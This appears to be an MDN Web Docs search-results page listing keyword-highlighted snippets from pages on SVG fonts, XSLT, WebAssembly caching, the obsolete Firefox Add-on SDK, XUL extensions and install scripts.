... <hkern u1="a" u2="v" k="20" /> referencing a font when you have put together your font declaration as described above, you can just use a simple font-family attribute to actually apply the font to some svg text: <font> <font-face font-family="super sans" /> <!-- and so on --> </font> <text font-family="super sans">my text uses super sans</text> however, you are
free to combine several methods for great
freedom of how and where to define the font.
Referer header: privacy and security concerns - Web security
the referrer problem the referer (sic) header contains the address of the previous web page
from which a link to the currently requested page was followed, which has lots of fairly innocent uses including analytics, logging, or optimized caching.
...social networking widgets embedded in <i
frame>)
from secure areas of your website, like password reset pages, payment forms, login areas, etc.
... security-conscious server-side
frameworks tend to have built in mitigations for such problems, for example: security in django (especially see cross site request forgery (csrf) protection).
document - XPath
the uri may also include a
fragment identifier.
... notes if the uri contains a
fragment identifier and that
fragment can be identified in the external document, that
fragment will be treated as the root in the node-set argument's expression.
... if the node-set argument is omitted, the entire
fragment will be returned.
Advanced Example - XSLT: Extensible Stylesheet Language Transformations
figure 7: sorting based on div contentview example // xhtml
fragment: <div id="example"> <div>1</div> <div>2</div> <div>3</div> <div>4</div> <div>5</div> <div>6</div> <div>7</div> <div>8</div> <div>9</div> <div>10</div> </div> // javascript var xslref; var xslloaded = false; var xsltprocessor = new xsltprocessor(); var mydom; var xmlref = document.implementation.createdocument("", "", null); function sort() { if (!xslloaded){ p...
... = new xmlhttprequest(); p.open("get", "example2.xsl", false); p.send(null); xslref = p.responsexml; xsltprocessor.importstylesheet(xslref); xslloaded = true; } // create a new xml document in memory xmlref = document.implementation.createdocument("", "", null); // we want to move a part of the dom
from an html document to an xml document.
...ue); // after cloning, we append xmlref.appendchild(clonednode); // set the sorting parameter in the xsl file var sortval = xsltprocessor.getparameter(null, "myorder"); if (sortval == "" || sortval == "descending") xsltprocessor.setparameter(null, "myorder", "ascending"); else xsltprocessor.setparameter(null, "myorder", "descending"); // initiate the transformation var
fragment = xsltprocessor.transformto
fragment(xmlref, document); // clear the contents document.getelementbyid("example").innerhtml = ""; mydom =
fragment; // add the new content
from the transformation document.getelementbyid("example").appendchild(
fragment) } // xsl stylesheet: <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns="http://www.w3.org/1999/xhtml" xm...
Basic Example - XSLT: Extensible Stylesheet Language Transformations
the .xsl file is then imported (xsltprocessor.importstylesheet(xslstylesheet)) and the transformation run (xsltprocessor.transformto
fragment(xmldoc, document)).
... this allows fetching of data after the page has been loaded, without initiating a
fresh page load.
... myxmlhttprequest.open("get", "example1.xsl", false); myxmlhttprequest.send(null); xslstylesheet = myxmlhttprequest.responsexml; xsltprocessor.importstylesheet(xslstylesheet); // load the xml file, example1.xml myxmlhttprequest = new xmlhttprequest(); myxmlhttprequest.open("get", "example1.xml", false); myxmlhttprequest.send(null); xmldoc = myxmlhttprequest.responsexml; var
fragment = xsltprocessor.transformto
fragment(xmldoc, document); document.getelementbyid("example").innerhtml = ""; mydom =
fragment; document.getelementbyid("example").appendchild(
fragment); } ...
Caching compiled WebAssembly modules - WebAssembly
warning: experimental webassembly.module indexeddb serialization support is being removed
from browsers; see bug 1469395 and this spec issue.
...additionally, it handles creating a database to cache the compiled wasm modules in, attempts to store new modules in the database, and retrieves previously cached modules
from the database, saving you
from having to download them again.
...trying to open a database, then see if we already have a compiled module with the key url stored in the given db: return opendatabase().then(db => { return lookupindatabase(db).then(module => { if we do, we instantiate it with the given import object: console.log(`found ${url} in wasm cache`); return webassembly.instantiate(module, importobject); }, if not, we compile it
from scratch and then store the compiled module in the database with a key of url, for next time we want to use it: errmsg => { console.log(errmsg); return webassembly.instantiatestreaming(fetch(url)).then(results => { storeindatabase(db, results.module); return results.instance; }); }) }, note: it is for this kind of usage that webassembly.instantiate(...
2015 MDN Fellowship Program - Archive of obsolete content
the work would entail refining existing tests to adapt to this
framework.
... github: nickdesaulniers twitter: @lostoracle web app performance brief project description web performance is a feature that needs to be considered
from serving content to rendering to interactivity.
Contributor's Guide - Archive of obsolete content
classes and inheritance a class is a blueprint
from which individual objects are created.
...inheritance allows classes to inherit state and behavior
from an existing classes, known as the base class.
Testing the Add-on SDK - Archive of obsolete content
from add-on sdk repository with a checkout of the mozilla/addon-sdk repository (or a checkout of the m-c repo and cd into the addon-sdk/source directory) there are many means to run the addon-sdk tests.
...
from mozilla-central repository with a checkout of the mozilla-central source code, one can always cd addon-sdk/source and use any of the methods described above, but in addtion to that there are a couple of mach commands available, and ofcourse there is the try server if you have access to that.
addon-page - Archive of obsolete content
for pages like this, navigational elements such as the awesome bar, search bar, or bookmarks toolbar are not usually relevant and distract
from the content you are presenting.
...after this, the page loaded
from "data/index.html" will not contain navigational elements: var addontab = require("sdk/addon-page"); var data = require("sdk/self").data; require("sdk/tabs").open(data.url("index.html")); this only affects the page at "data/index.html": all other pages are displayed normally.
notifications - Archive of obsolete content
var notifications = require("sdk/notifications"); var self = require("sdk/self"); var myiconurl = self.data.url("myicon.png"); notifications.notify({ text: "i have an icon!", iconurl: myiconurl });
from firefox 34, you can use "./myicon.png" as an alias for self.data.url("myicon.png").
...if the user's system does not support desktop notifications or if its notifications service is not running: if firefox was started normally, notifications are logged to firefox's error console if the user launched firefox
from the command line, notifications are logged to the terminal.
private-browsing - Archive of obsolete content
onging to private browser windows any panel objects will not be shown if the active window is a private browser window the selection module will not include any selections made in private browser windows add-ons that have opted in will see private windows, so they will need to use the private-browsing module to check whether objects are private, so as to avoid storing data derived
from such objects.
... "});"; function logpublicpagecontent(worker) { if (privatebrowsing.isprivate(worker)) { console.log("private window, doing nothing"); } else { worker.port.emit("log-content"); } } pagemod.pagemod({ include: "*", contentscript: loggingscript, onattach: logpublicpagecontent }); tracking private-browsing exit sometimes it can be useful to cache some data
from private windows while they are open, as long as you don't store it after the private browsing windows have been closed.
url - Archive of obsolete content
fromfilename(path) converts the given native file path to a file: url.
...for example: var url = require("sdk/url").url("https://developer.mozilla.org/add-ons?example=true&visible=yes#top"); console.log(url.pathname); // /add-ons hash a '#' followed by the
fragment identifier of the url, as a string.
io/byte-streams - Archive of obsolete content
function readbinarydata
fromfile (filename) { var fileio = require("sdk/io/file"); var data = null; if (fileio.exists(filename)) { var bytereader = fileio.open(filename, "rb"); if (!bytereader.closed) { data = bytereader.read(); bytereader.close(); } } return data; } function writebinarydatatofile(data, filename) { var fileio = require("sdk/io/file"); var bytewriter = fileio.open(filename, "wb"); if (!bytewriter.closed) { bytewriter.write(data); bytewriter.close(); } } globals constructors bytereader(inputstream) creates a binary input stream that reads bytes
from a backing stream.
... read(numbytes) reads a string
from the stream.
io/text-streams - Archive of obsolete content
function readtext
fromfile(filename) { var fileio = require("sdk/io/file"); var text = null; if (fileio.exists(filename)) { var textreader = fileio.open(filename, "r"); if (!textreader.closed) { text = textreader.read(); textreader.close(); } } return text; } function writetexttofile(text, filename) { var fileio = require("sdk/io/file"); var textwriter = fileio.open(filename, "w"); if (!textwriter.closed) { textwriter.write(text); textwriter.close(); } } globals constructors textreader(inputstream, charset) creates a buffered input stream that reads text
from a backing stream using a given text encoding.
... read(numchars) reads and returns a string
from the stream.
places/favicon - Archive of obsolete content
the platform service (moziasyncfavicons) retrieves favicon data stored
from previously visited sites, and as such, will only return favicon urls for visited sites.
...rl); // http://mozorg.cdn.mozilla.net/media/img/favicon.ico }); } }); // an optional callback can be provided to handle // the promise's resolve and reject states getfavicon("http://mozilla.org", function (url) { console.log(url); // http://mozorg.cdn.mozilla.net/media/img/favicon.ico }); parameters object : string|tab a value that represents the url of the page to get the favicon url
from.
stylesheet/utils - Archive of obsolete content
globals functions loadsheet(window, uri, type) synchronously loads a style sheet
from uri and adds it to the list of additional style sheets of the document.
... removesheet(window, uri, type) remove the document style sheet at sheeturi
from the list of additional style sheets of the document.
system/child_process - Archive of obsolete content
however, there are a few differences to be aware of: you need to require() the module using require("sdk/system/child_process") fork() is not supported gid and uid are not supported in node.js, spawn() and exec() inherit the environment variables
from the parent process, by default.
... const { emit } = require('sdk/event/core'); const { spawn } = require('sdk/system/child_process'); var proc = spawn("/bin/cat"); emit(proc.stdin, 'data', "hello
from add-on code"); emit(proc.stdin, 'end'); using child_process in non-jpm extensions // import sdk stuff const commonjs_uri = 'resource://gre/modules/commonjs'; const { require } = cu.import(commonjs_uri + '/toolkit/require.js', {}); var child_process = require('sdk/system/child_process'); // use it in the same way as in the example above ...
test/assert - Archive of obsolete content
this function is only called by the unit test
framework, and not by unit tests themselves.
... notdeepequal(actual, expected, message) tests that two objects do not have a deep equality relation, using the negation of the test for deep equality: assert.notdeepequal({ a: "foo" }, object.create({ a: "foo" }), "object's inherit
from different prototypes"); parameters actual : object the actual result.
test/httpd - Archive of obsolete content
usage the most basic usage is: var { startserverasync } = require("sdk/test/httpd"); var srv = startserverasync(port, basepath); require("sdk/system/unload").when(function cleanup() { srv.stop(function() { // you should continue execution
from this point.
...the server listens at http://localhost:port/ and serves files
from the specified directory.
util/object - Archive of obsolete content
if two or more argument objects have properties with the same name, the property is overwritten with precedence
from right to left, implying that properties of the object on the left are overwritten by a same named property of an object on the right.
... extend(arguments) returns an object that inherits
from the first argument and contains all of the properties
from all following arguments, with precedence
from right to left.
console - Archive of obsolete content
if you have started firefox for your add-on
from the command line with jpm run or jpm test then these messages appear in the command shell you used.
...the console defines a number of logging levels,
from "more verbose" to "less verbose", and a number of different logging functions that correspond to these levels, which are arranged in order of "severity"
from informational messages, through warnings, to errors.
jpmignore - Archive of obsolete content
use .jpmignore to ignore files
from your xpi builds created via jpm.
.../sample/ a .jpmignore file with the above contents would ignore all zip files and .ds_store files and sample directory
from the xpi generated by jpm xpi.
Displaying annotations - Archive of obsolete content
the widget api is deprecated
from firefox 29 onwards.
...this function: initializes the content script instance with the current set of annotations provides a handler for messages
from that content script, handling the three messages - show, hide and detach - that the content script might send adds the worker to an array, so we it can send messages back later.
Overview - Archive of obsolete content
the widget api is deprecated
from firefox 29 onwards.
...the simplest way to do this is to omit the "private-browsing" key
from the add-on's "package.json" file.
Tutorials - Archive of obsolete content
unit testing writing and running unit tests using the sdk's test
framework.
... listen for load and unload get notifications when your add-on is loaded or unloaded by firefox, and pass arguments into your add-on
from the command line.
Add-on SDK - Archive of obsolete content
sdk in
frastructure aspects of the sdk's underlying technology: modules, the program id and the rules defining firefox compatibility.
... sdk idioms the sdk's event
framework and the distinction between add-on scripts and content scripts.
LookupNamespaceURI - Archive of obsolete content
addlookupnamespaceuri(doc); addlookupnamespaceuri(element); function addlookupnamespaceuri (type) { if (!type.prototype.lookupnamespaceuri) { type.prototype.lookupnamespaceuri = lookupnamespaceuri; } function lookupnamespaceuri (prefix) { return lookupnamespaceurihelper(this, prefix); } function lookupnamespaceurihelper (node, prefix) { // adapted directly
from http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceurialgo var i, att, htmlmode = document.contenttype, // mozilla only xmlnspattern = /^xmlns:(.*)$/; switch (node.nodetype) { case 1: // element_node (could also just test for node.element_node, etc., if supported in all browsers) if (node.namespace...
...get to it return lookupnamespaceurihelper(node.parentnode, prefix); } return null; case 9: // document_node return lookupnamespaceurihelper(node.documentelement, prefix); case 6: // entity_node case 12: // notation_node case 10: // document_type_node case 11: // document_
fragment_node return null; // unknown case 2: // attribute_node if (node.ownerelement) { return lookupnamespaceurihelper(node.ownerelement, prefix); } return null; // unknown default: // text_node (3), cdata_section_node (4), entity_reference_node (5), // proces...
On page load - Archive of obsolete content
creating an overlay first, you need to create an overlay to one (or more, depending on which applications you target) of the following xul documents: application uri to overlay firefox chrome://browser/content/browser.xul thunderbird chrome://messenger/content/messenger.xul navigator
from seamonkey chrome://navigator/content/navigator.xul attaching a script attach a script to your overlay (see "attaching a script to an overlay") that adds a load event listener to appcontent element (browsers) or messagepane (mail): window.addeventlistener("load", function load(event){ window.removeeventlistener("load", load, false); //remove listener, no longer needed myexten...
... // if (win.
frameelement) return; // skip i
frames/
frames alert("page is loaded \n" +doc.location.href); } } window.addeventlistener("load", function load(event){ window.removeeventlistener("load", load, false); //remove listener, no longer needed myextension.init(); },false); references if you need to have a more complicated listener (not just onload), use progress listeners.
Tree - Archive of obsolete content
= 0; i < treeview.rowcount; i++) { if (treeview.iscontainer(i) && !treeview.iscontaineropen(i)) treeview.toggleopenstate(i); } to collapse all tree nodes just change the condition: var treeview = tree.treeboxobject.view; for (var i = 0; i < treeview.rowcount; i++) { if (treeview.iscontainer(i) && treeview.iscontaineropen(i)) treeview.toggleopenstate(i); } getting the text
from the selected row assuming the given <tree>: <tree id="my-tree" seltype="single" onselect="ontreeselected()"> use the following javascript: function ontreeselected(){ var tree = document.getelementbyid("my-tree"); var cellindex = 0; var celltext = tree.view.getcelltext(tree.currentindex, tree.columns.getcolumnat(cellindex)); alert(celltext); } getting the tree item
from the...
... getting the cell
from a mouse click your first choice is likely to try <treecell onclick="yourfunc();"/> or something similar.
xml:base support in old browsers - Archive of obsolete content
mlbase = xmlbase.substring(0, xmlbase.length-2); // strip off last slash to join with xlink path with slash } // alert(xmlbase + '::' + xlink); } var link = xmlbase + xlink; if (!link.match(scheme)) { // if there is no domain, we'll need to use the current domain var loc = window.location; if (link.indexof('/') === 0 ) { // if link is an absolute url, it should be
from the host only link = loc.protocol + '//' + loc.host + link; } else { // if link is relative, it should be
from full path, minus the file var dirpath = loc.pathname.substring(0, loc.pathname.lastindexof('/')-1); if (link.lastindexof('/') !== link.length-1) { link += '/'; } link = loc.protocol + '//' + loc.host + dirpath + link; } } return link; } function getxmlbase (...
...1998/namespace'; var att, protocolpos; var xmlbase = ''; var abs = false; // avoid loop if node is not present if (!thisitem || !thisitem.nodename) { return xmlbase; } // check present element and higher up for xml:base // now check for the next matching local name up in the hierarchy (until the document root) while (thisitem.nodename !== '#document' && thisitem.nodename !== '#document-
fragment') { att = thisitem.getattribute('xml:base'); // xml: namespaces must use 'xml' prefix if (att) { protocolpos = att.indexof('//'); var protocolmatch = att.match(scheme); if (protocolmatch) { // if has protocol, can stop if (abs) { var skipfile = (att.indexof('///') === protocolpos) ?
Developing add-ons - Archive of obsolete content
they can add anything
from a toolbar button to a completely new feature.
... addons.mozilla.org (amo) api developers' guide the amo developers' guide describes how to use the amo api to fetch information about add-ons
from the addons.mozilla.org site.
Extension Packaging - Archive of obsolete content
users can download xpi files
from a website, or
from a local file, and install by opening it, or dragging it into the extension manager window.
...(firefox 1.5/xulrunner 1.8 required.)
from the release of firefox 53, multiple item extension packages are no longer supported and will not load.
Extension Theming Guidelines - Archive of obsolete content
branding certain items of your extensions style, in particular logos and icons can be kept in the chrome content package such that they are not replaceable by custom themes stylesheets guidelines include stylesheets for every new window that your extension adds and for every window that your extension overlays content into be sure to add a stylesheet
from your chrome skin package.
...they are impossible to override
from styleheets so anything you put in there cannot be adjusted by custom themes.
Jetpack Processes - Archive of obsolete content
to prevent such memory leaks, a process can either invalidate a handle, immediately preventing it
from being passed as a message argument, or it can unroot the handle, allowing it to be passed as a message argument until all references to it are removed, at which point it is garbage collected.
...the callback is only called
from the process that the handle was not garbage collected in.
Introduction - Archive of obsolete content
gecko versions are somewhat independent
from firefox versions, and you can see a mapping of firefox versions and gecko versions at the gecko page.
...you can read and copy the user agent string of any firefox window, choosing "help > troubleshooting information"
from the main menu.
Observer Notifications - Archive of obsolete content
as we saw in previous sections, you can use javascript code module and xpcom objects very easily
from the chrome.
... let's see the following example code on how to send out a notification
from non-chrome code.
XML data - Archive of obsolete content
copy and paste the content
from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <!-- xml demonstration --> <?xml-stylesheet type="text/css" href="style9.css"?> <!doctype planet> <planet> <ocean> <name>arctic</name> <area>13,000</area> <depth>1,200</depth> </ocean> <ocean> <name>atlantic</name> <area>87,000</area> <depth>3,900</depth> </ocean> <ocean> <name>pacific</name> <area>180,000</area> <...
...copy and paste the content
from here, making sure that you scroll to get all of it: /*** xml demonstration ***/ planet:before { display: block; width: 8em; font-weight: bold; font-size: 200%; content: "oceans"; margin: -.75em 0px .25em -.25em; padding: .1em .25em; background-color: #cdf; } planet { display: block; margin: 2em 1em; border: 4px solid #cdf; padding: 0px 1em; background-color: white; } ocean { display: block; margin-bottom: 1em; } name { display: block; font-weight: bold; font-size: 150%; } area { ...
Creating a status bar extension - Archive of obsolete content
many of the concepts introduced here apply to any xul-based application; however, to keep
from getting completely overwhelmed, we're going to focus specifically on firefox.
... <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>status-bar-sample-1@example.com</em:id> <em:version>1.0</em:version> <em:type>2</em:type> <!--
front end metadata --> <em:name>status bar sample 1</em:name> <em:description>sample static status bar panel</em:description> <em:creator>my name</em:creator> <em:homepageurl>http://developer.mozilla.org/en/docs/creating_a_status_bar_extension</em:homepageurl> <!-- describe the firefox versions we support --> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-4...
levelchange - Archive of obsolete content
general info specification battery interface event bubbles no cancelable no target batterymanager default action none properties the event callback doesn't receive any event objects, but properties can be read
from the batterymanager object received
from the navigator.getbattery method.
... property type description batterymanager.level double (float) the system's battery charging level scaled
from 0 to 1.0.
Automated testing tips and tricks - Archive of obsolete content
the application on mac http://people.mozilla.com/~davel/scripts/ - look at quit.js and quit.xul install manifest file in appdir/chrome to map chrome://tests/content to directory containing quit.js and quit.xul example: content tests file:///users/davel/work/tests/ start app with command line flag -chrome chrome://tests/content/quit.xul how to create a new profile
from the command line first, use the -createprofile command line flag to add a profile entry to profiles.ini and populate the new profile directory with a prefs.js file firefox-bin -createprofile "testprofile ${profile_dir}/testprofile" next, start firefox to populate the new profile directory with the rest of the default settings firefox-bin -p testprofile -chr...
....enabled", true); to profiledir/user.js how to execute test code with chrome privileges using a chrome doc - see sbtests.xul in http://people.mozilla.com/~davel/scripts/ for an example firefox-bin -p sbtestprofile -chrome chrome://sbtests/content/ above code calls the quit function in quit.js to exit after test is finished how to detect content onload event
from chrome use the domcontentloaded event chromewindow.addeventlistener('domcontentloaded',callbackfunction,false); ...
Creating a Firefox sidebar extension - Archive of obsolete content
if the sidebar is not going to have a command-key, one can remove the openemptysidebar.commandkey and openemptysidebar.modifierskey keys
from the dtd, remove the <keyset>
from the firefoxoverlay.xul file.
...chrome.manifest content emptysidebar chrome/content/ locale emptysidebar en-us chrome/locale/ skin emptysidebar classic/1.0 chrome/skin/ overlay chrome://browser/content/browser.xul chrome://emptysidebar/content/firefoxoverlay.xul test while you're developing your sidebar, you will need to test it
frequently
from firefox.
Making it into a dynamic overlay and packaging it up for distribution - Archive of obsolete content
xpis have a complex structure designed to separate ui layers
from each other.
...atus extension", "/mozdev/tinderstatus", "0.1"); var installdir = getfolder("chrome","tinderstatus"); setpackagefolder(installdir); adddirectory("tinderstatus"); registerchrome( content | delayed_chrome, getfolder(installdir, "content")); var result = performinstall(); if ( result != success ) cancelinstall(result); once all the files are in place, use your zip utility
from within the tinderstatus-installer directory to create a zip archive called tinderstatus.xpi with install.js and the entire contents of the tinderstatus/ directory.
Getting Started - Archive of obsolete content
into this directory put a zip archive called my_theme.jar containing navigator, global, communicator, editor, help, messenger, messenger-newsblog and mozapps directories
from above.
...once you have put the files in the zip folder, rename it to myskin.jar triggering the install
from the web to install the theme's jar file directly
from the web, you need to run some javascript.
In-Depth - Archive of obsolete content
other sites which list mozilla specific css properties xulplanet.com [dead link, 26.03.13] mozilla-prefixed properties on the standard track 26.03.13 -moz-appearance makes a widget look like it's
from your operating system.
...use this when you want one or two controls to look different
from the operating systems defaults.
DTrace - Archive of obsolete content
dtrace is sun microsystem's dynamic tracing
framework that allows developers to instrument a program with probes that have little to no effect on performance when not in use and very little when active.
... community dtrace forums #dtrace on irc.
freenode.org sun's dtrace howto guide tools nightly trunk builds for solaris dtracetoolkit related topics javascript ...
Developing New Mozilla Features - Archive of obsolete content
if you think your feature can only be implemented and reviewed in one enormous chunk, ask for design help in the appropriate newsgroup and/or
from the developers with whom you have established relationships.
... if you’ve got a large patch, let the likely reviewers know when they might expect to see it if your time
frame is tight, check out the mozilla roadmap for milestone dates and see if your feature will arrive at a time of furious activity.
Drag and Drop - Archive of obsolete content
note that drag sessions can be created
from within mozilla itself or
from other applications.
... the interface nsidragservice also provides the function getcurrentsession which can be called
from within the drag event handlers to get and modify the state of the drag.
Embedding FAQ - Archive of obsolete content
faq mozilla.dev.embedding how to start embedding you can find a examples, faqs, and the api
from mozilla itself.
...then pass the object to your xpcom coded object and call it
from c++.
Building Firefox with Rust code - Archive of obsolete content
if you want to call code in the "e10s" crate, you would add: extern crate e10s; to toolkit/library/rust/shared/lib.rs; you would also need to specify the path to that crate in the dependencies section of toolkit/library/rust/shared/cargo.toml: [dependencies] e10s = { path = "../../../../path/
from/srcdir/e10s" } the e10s crate must also be checked into the tree at the appropriate path.
... ./mach gtest rust.* look for the rust.call
fromcpp test to pass, along with any others.
GRE Registration - Archive of obsolete content
mac on mac, the only gre is the libxul
framework xul.
framework.
... this
framework is installed either in /library/
frameworks/xul.
framework/versions/<version> or in ~/library/
frameworks/xul.
framework/versions/<version>.
HTTP Class Overview - Archive of obsolete content
nshttphandler implements nsiprotocolhandler manages preferences owns the authentication cache holds references to
frequently used services nshttpchannel implements nsihttpchannel talks to the cache initiates http transactions processes http response codes intercepts progress notifications nshttpconnection implements nsistreamlistener & nsistreamprovider talks to the socket transport service feeds data to its transaction object routes progress notifications nshttpconnectioninfo identifies a...
...rray knows how to fill a request buffer nshttpresponsehead owns a nshttpheaderarray knows how to parse response lines performs common header manipulations/calculations nshttpheaderarray stores http "<header>:<value>" pairs nshttpauthcache stores authentication credentials for http auth domains nshttpbasicauth implements nsihttpauthenticator generates basic auth credentials
from user:pass nshttpdigestauth implements nsihttpauthenticator generates digest auth credentials
from user:pass original document information author(s): darin fisher last updated date: august 5, 2002 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
JavaScript OS.Shared - Archive of obsolete content
for the moment, module os.shared is accessible only
from chrome workers.
...64_t long bool off_t size_t ssize_t fd (unix only) negativeone_or_fd (unix only) negativeone_or_nothing (unix only) string (unix only) null_or_string (unix only) handle (windows only) maybe_handle (windows only) dword (windows only) negative_or_dword (windows only) zero_or_dword (windows only) zero_or_nothing (windows only) declareffi() intn_t() uintn_t()instances of os.shared.type convert_
from_c() releasewith() attributes global object os.shared.hollowstructure in_ptr out_ptr inout_ptr ...
Basics - Archive of obsolete content
read the experiment report for what we learned
from it and the blog post announcing the first sdk release for what we're up to next!
...log
fromcaller()this method does stuff.
Settings - Archive of obsolete content
jetpack will automatically generate a user interface
from this specification that users of your jetpack may use to customize the settings.
... the user can open this interface
from the "settings" button next to your jetpack on the "installed features" tab of the about:jetpack page.
Selection - Archive of obsolete content
this api currently lives in the future and must be imported for use: jetpack.future.import("selection"); getting and setting the selection the current version of jetpack.selection includes these formats: .text and .html getting the selection the following is an example of getting the selection
from the user.
... jetpack.import.future("selection"); var textofsel = jetpack.selection.text; var htmlofsel = jetpack.selection.html; setting the selection the following is an example of getting the selection
from the user.
slideBar - Archive of obsolete content
read the experiment report for what we learned
from it and the blog post announcing the first sdk release for what we're up to next!
...when a slidebar feature is selected its contents will be revealed
from behind the current webpage.
Selection - Archive of obsolete content
this api currently lives in the future and must be imported for use: jetpack.future.import("selection"); getting and setting the selection the current version of jetpack.selection includes these formats: .text and .html getting the selection the following is an example of getting the selection
from the user.
... jetpack.import.future("selection"); var textofsel = jetpack.selection.text; var htmlofsel = jetpack.selection.html; setting the selection the following is an example of getting the selection
from the user.
Overview of how downloads work - Archive of obsolete content
one way is to encounter a file with an unknown content type, the other is to choose "save link target as"
from the context menu of a link.
...get the .dia file here: mozilla_downloads.dia downloads via "save link target as" and
friends this diagram is an uml sequence diagram, and was created using dia.
BlogPosts - Archive of obsolete content
just browsing: mozilla prism update thanscorner: mozilla prism - webrunner with pazzaz mozilla prism - a revolution in web apps thanscorner: mozilla webrunner 0.7 site specific browsers webrunner using webrunner webrunner + gears = offline desktop reader webrunner 0.5 webrunner 0.5 - mac support webrunner 0.5 - linux install webrunner, google reader, and google notebook distraction
free gtd - 32+ web app files for online todo lists mozilla webrunner: a one-window, tabless browser with no url bar webrunner becomes prism - a mozilla labs project mozilla labs: prism alex faaborg: prism mozilla prism: bringing web apps to the desktop everyone should use site specific browsers mozilla prism portable (spanish) prism, l'avenir des applications web selon mozilla (
french) mozilla prism : bund...
...le custom google reader + talk (
french) just browsing: site-specific browsers ...
Remotely debugging Firefox for Metro - Archive of obsolete content
prerequisites you will need: windows 8 (metro-style) firefox running in the touch-
friendly "metro" mode on a windows 8 computer.
... set up firefox for metro go to about:config in firefox for metro, and set the following required preference: devtools.debugger.remote-enabled = true you may also want to set these optional preferences: devtools.debugger.force-local = false (if you want to connect
from a different machine over the network) devtools.debugger.remote-host (to change the tcp hostname where firefox will listen for connections) devtools.debugger.remote-port (to change the tcp port number where firefox will listen for connections) devtools.debugger.prompt-connection = false (allow connections without displaying a confirmation prompt.
Remote debugging - Archive of obsolete content
core dumps on mac and linux to generate a core dump on mac, type "ulimit -c unlimited", run firefox
from the command line, and make firefox crash.
...see here for instructions on how to do so with microsoft's
free debugger, windbg.
Safely loading URIs - Archive of obsolete content
differences between the methods the three methods differ
from each other in how the source of the uri is identified and in what is known about the uri to be loaded.
...by passing the string to something that loads it in a <browser> or <i
frame>), you must call checkloaduristr to be secure.
Same origin policy for XBL - Archive of obsolete content
the same origin policy used for xbl documents is different
from the policy used for other content.
...determining the originating principal the principal originating the load is determined using the following steps: for external stylesheets (<link>, <?xml-stylesheet?>, user sheets, and ua sheets), it depends on where the sheet is loaded
from, just like it would for an html document loaded
from a similar source.
Actionscript Acceptance Tests - Archive of obsolete content
this should only be used when it is not possible to generate the test using the standard test
framework.
... when this file is defined, the output
from the testcase is matched line by line to the .out file and any difference is considered a failure.
Cmdline tests - Archive of obsolete content
two use cases for the cmdline testsuite: use case 1: test the interactive cmdline debugger test contents: start avmshell -d test.abc, set breakpoint on a line, show local variable value, quit
from cmdutils import * def run(): r=runtestlib() r.run_test( 'debugger locals', '%s -d testdata/debug.abc'%r.avmrd, input='break 53\ncontinue\nnext\ninfo locals\nnext\ninfo locals\nquit\n', expectedout=['local1 = undefined','local2 = 10','local2 = 15'] ) use case 2: test -memstats returns memory logs to stdout test contents: start avmshell -memstats test.abc, ass...
...ert stdout contains 'gross stats', 'sweep m reclaimed n pages.'
from cmdutils import * def run(): r=runtestlib() r.run_test(name='memstats', command="%s -memstats testdata/memstats.abc" % r.avm, expectedout=[ 'gross stats', 'managed
fragmentation', 'gross stats end', 'sweep\\([0-9]+\\) reclaimed [0-9]+ whole pages' ] ...
Using cross commit - Archive of obsolete content
getting the script "make -f client.mk pull_all"
from a working copy of the trunk now pulls cross-commit, and that'll work on the 1.8 branch soon, too, so you might already have the script.
... if you don't, however, then
from the parent directory of your source dir, do: cvs co mozilla/tools/cross-commit note that you will need to have $cvsroot and such set up correctly for this to work.
Video presentations - Archive of obsolete content
(as quicktime; 127 mb, 50 mb, and 68 mb) the life cycle of a bug (part 1, part 2) mike connor describes how a bug goes
from bug report to patch to implemented fix.
...(as quicktime; 122 mb and 110 mb) release builds -
from source tree to exe (part 1, part 2) learn how release builds of firefox are created.
DOM Interfaces - Archive of obsolete content
return value nodelist - the return value of getanonymousnodes is a nodelist that represents the children of an element after insertion points
from its own binding have been applied.
...any subsequent bindings that are attached to elements within the document will be constructed
from the modified binding document.
Example Sticky Notes - Archive of obsolete content
this way you protect yourselve
from < and > signs breaking your xml layout.
... mouse events sent to bindings are refactored, so event.target / event.relatedtarget always points to the bound element, even if it was originated to/
from a child.
Windows Install - Archive of obsolete content
= "software\\microsoft\\windows\\currentversion\\runonce" ; winreg.createkey(subkey,""); valname = "ren8dot3"; value = fprogram + "ren8dot3.exe " + ftemp + "ren8dot3.ini"; err = winreg.setvaluestring(subkey, valname, value); } } function prepareren8dot3(listlongfilepaths) { var ftemp = getfolder("temporary"); var fprogram = getfolder("program"); var
fren8dot3ini = getwinprofile(ftemp, "ren8dot3.ini"); var binicreated = false; var flongfilepath; var sshortfilepath; if(
fren8dot3ini != null) { for(i = 0; i < listlongfilepaths.length; i++) { flongfilepath = getfolder(fprogram, listlongfilepaths[i]); sshortfilepath = file.windowsgetshortname(flongfilepath); if(sshortfilepath) {
fren8dot3ini.writest...
...49; err = initinstall(prettyname, regname, "6.0.0.2000110801"); logcomment("initinstall: " + err); fprogram = getfolder("program"); logcomment("fprogram: " + fprogram); if(verifydiskspace(fprogram, srdest)) { setpackagefolder(fprogram); err = adddirectory("", "6.0.0.2000110801", "bin", // dir name in jar to extract fprogram, // where to put this file // (returned
from getfolder) "", // subdir name to create relative to fprogram true); // force flag logcomment("adddirectory() returned: " + err); // check return value if(err == success) { err = performinstall(); logcomment("performinstall() returned: " + err); } else cancelinstall(err); } else cancelinstall(insufficient_disk_space); // end main ...
windowsShortcut - Archive of obsolete content
aworkingpath a filespecobject representing the absolute path to the working dir for where atarget will is to be run
from.
... aiconid index of the icon
from aicon to use for this shortcut.
Methods - Archive of obsolete content
extension, theme, and plug-in developers must switch away
from install.js based packages to the new packaging scheme with an install.rdf manifest.
... moddatechanged specifies whether the last modification on a file is older than a specified date move moves a file
from one location to another.
deleteRegisteredFile - Archive of obsolete content
deleteregisteredfile (netscape 6 and mozilla do not currently support this method.) deletes the specified file and removes its entry
from the client version registry.
...description the deleteregisteredfile method deletes the specified file and removes the file's entry
from the client version registry.
loadResources - Archive of obsolete content
returns a javascript object whose property names are the keys
from that file and whose values are the strings.
...this method is used to internationalize installation scripts by allowing the installer to retrieve localized string values
from a separate file.
patch - Archive of obsolete content
